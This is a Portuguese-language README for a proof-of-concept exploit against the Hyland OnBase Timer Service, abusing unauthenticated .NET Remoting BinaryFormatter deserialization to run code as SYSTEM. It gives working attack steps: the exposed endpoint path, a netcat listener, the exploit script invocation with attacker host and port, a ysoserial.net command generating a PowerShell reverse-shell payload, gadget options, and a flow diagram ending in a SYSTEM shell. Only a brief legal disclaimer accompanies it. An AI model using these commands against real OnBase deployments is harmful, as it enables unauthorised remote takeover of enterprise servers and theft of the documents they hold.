
Prova de conceito de exploit para execução remota de código não autenticada no Hyland OnBase Timer Service por meio de desserialização BinaryFormatter do .NET Remoting, alcançando privilégios de SYSTEM.
Este repositório contém um exploit de Prova‑de‑Conceito para a vulnerabilidade de execução remota de código não autenticada no Hyland OnBase Timer Service via desserialização insegura de .NET Remoting BinaryFormatter.
A vulnerabilidade permite que um atacante não autenticado envie um payload BinaryFormatter malicioso para o endpoint do Timer Service e execute código arbitrário como NT AUTHORITY\SYSTEM.
O Timer Service expõe um endpoint .NET Remoting:
http://TARGET:8900/TimerServiceAPI.rem
O serviço aceita objetos BinaryFormatter não autenticados. Ao fornecer uma cadeia de gadgets maliciosa (ysoserial.net), a execução arbitrária de comandos ocorre durante a desserialização.
Instale a dependência Python:
pip install requests
Baixe o ysoserial.net:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
O script imprime um comando ysoserial. Execute-o em outro terminal (Windows / Mono):
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
Pressione ENTER no terminal do exploit após a geração do payload.
Se vulnerável → a reverse shell conecta.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| Opção | Descrição |
|---|---|
| target | IP ou hostname do alvo |
| --port | Porta do Timer Service (padrão 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | IP do atacante |
| --lport | Porta do listener |
| --gadget | Cadeia de gadgets ysoserial |
O exploit é cego
Sucesso = callback de reverse shell
O serviço executa como SYSTEM
Tente gadget alternativo se bloqueado:
sequenceDiagram
participant A as Atacante
participant Y as ysoserial.net
participant T as Alvo OnBase Timer Service
participant S as Shell SYSTEM
A->>A: Iniciar listener netcat
A->>Y: Gerar payload BinaryFormatter
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Executar cadeia de gadgets
S-->>A: Conexão reverse shell
Este exploit é fornecido para:
O uso não autorizado contra sistemas que você não possui ou não tem permissão para testar é ilegal.